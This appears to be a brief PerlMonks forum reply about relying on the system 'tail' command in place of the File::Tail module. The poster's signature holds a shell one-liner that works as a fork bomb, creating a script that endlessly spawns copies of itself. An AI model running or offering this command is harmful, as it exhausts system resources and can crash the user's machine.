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Re: Re: Verifiying an external program exists

by ibanix (Hermit)
on Jan 24, 2003 at 19:19 UTC ( [id://229674]=note: print w/replies, xml ) Need Help??


in reply to Re: Verifiying an external program exists
in thread Verifiying an external program exists

I can be sure that my coworkers all have 'tail' installed, but I can't ask them all to install File::Tail. But thanks for the idea.

Cheers,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;

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